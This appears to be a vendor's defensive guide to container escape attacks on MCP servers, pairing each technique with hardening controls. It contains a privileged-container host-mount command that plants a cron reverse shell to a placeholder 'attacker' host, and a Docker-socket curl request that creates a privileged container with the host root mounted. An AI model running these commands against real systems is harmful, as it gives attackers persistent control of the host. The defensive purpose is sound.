Container escape security for MCP servers: attack techniques and the controls that prevent them

Why container escape matters specifically for MCP servers

MCP servers are high-value escape targets for two reasons. First, they often have network access to upstream APIs (GitHub, Jira, Slack) and hold API credentials in their environment — making the container itself a worthwhile target even without escape. Second, MCP servers are increasingly deployed in Kubernetes clusters alongside other sensitive workloads (databases, internal services, other agent infrastructure). Escaping one MCP server container can expose the entire cluster's internal network to an attacker who started from a single tool-call exploit.

Technique 1: privileged container exploitation

How it works: A container running with --privileged has full access to the host's device files, can load kernel modules, and can mount the host filesystem. An attacker with code execution in a privileged container can mount the host root filesystem and write a cron job or SSH key to achieve persistent host access:

# Inside a privileged container — attacker achieves host escape
# (Do not run this — illustrative only)
mkdir /tmp/host-root
mount /dev/sda1 /tmp/host-root
echo '* * * * * root /bin/bash -c "bash -i >/dev/tcp/attacker/4444 0>&1"' \
  >> /tmp/host-root/etc/cron.d/backdoor

Prevention: Never run MCP server containers with --privileged. There is no legitimate reason for an MCP server to require it. If your deployment scripts add --privileged for "compatibility" or to solve a startup issue, fix the root cause rather than accepting the security exposure.

Technique 2: Docker socket volume mount

How it works: If the Docker daemon socket (/var/run/docker.sock) is mounted into a container, an attacker with code execution can use the Docker API to start a new privileged container with the host filesystem mounted — full host escape via the Docker daemon:

# From inside a container with /var/run/docker.sock mounted
# Attacker launches a privileged sibling container with host / mounted
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/v1.41/containers/create \
  -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Binds":["/:/host"],"Privileged":true}' | jq .Id

Prevention: Never mount /var/run/docker.sock into an MCP server container. If your server needs to interact with Docker (e.g., to spin up sandbox environments for tool execution), use the Docker HTTP API over TCP with TLS client certificate authentication, not the Unix socket.

Technique 3: CAP_SYS_ADMIN capability exploitation

How it works: CAP_SYS_ADMIN is effectively a subset of root that enables dozens of privileged operations: mounting filesystems, creating namespaces, loading kernel modules. An attacker in a container with CAP_SYS_ADMIN can use techniques like rdma device exploitation or cgroup v1 release_agent abuse to escape to the host:

# CAP_SYS_ADMIN enables cgroup release_agent escape (CVE-2022-0492 class)
# Requires write access to /sys/fs/cgroup — possible with CAP_SYS_ADMIN + rw mount

Prevention: Drop all capabilities with cap_drop: [ALL] and add back nothing for most MCP servers. CAP_SYS_ADMIN should never be in the cap_add list of an MCP server container.

Technique 4: kernel CVE exploitation via syscall exposure

How it works: Container isolation relies on the host kernel — there is no hypervisor boundary. Kernel vulnerabilities that enable privilege escalation or namespace escape (Dirty Pipe, Dirty Cow, and their successors) can be exploited from inside a container to gain host root. The attack surface is every syscall the container is allowed to make.

Prevention: Seccomp profiles restrict which syscalls are available. Docker's default profile already blocks the most dangerous ones. A custom profile for a Node.js HTTP server can restrict to a much smaller set — Node.js only needs ~60 syscalls to function, not the 300+ available on a modern Linux kernel. Staying current on host kernel patches is equally important.

Technique 5: /proc filesystem exploitation

How it works: In containers without proper namespace isolation, access to /proc/sysrq-trigger, /proc/sys/kernel/core_pattern, or writable /proc/*/mem can enable various host-impact operations. The core_pattern overwrite is a well-known technique: setting the kernel core dump handler to a malicious binary and triggering a crash to execute it on the host.

Prevention: Seccomp blocks the write operations required. security_opt: [no-new-privileges:true] prevents escalation via setuid binaries in the container. AppArmor or SELinux profiles provide an additional MAC layer that blocks writes to sensitive /proc paths.

Defense-in-depth matrix

The first four controls are near-zero effort for any MCP server deployment. Together they eliminate the most common container escape techniques. AppArmor and SELinux profiles provide additional depth for high-sensitivity deployments where the investment is justified.

SkillAudit's container configuration analysis flags --privileged mode and Docker socket mounts as CRITICAL findings — both are immediate grade blockers because they give an attacker host access from a single tool-call exploit. Capability auditing and seccomp status are checked as HIGH and MEDIUM findings respectively.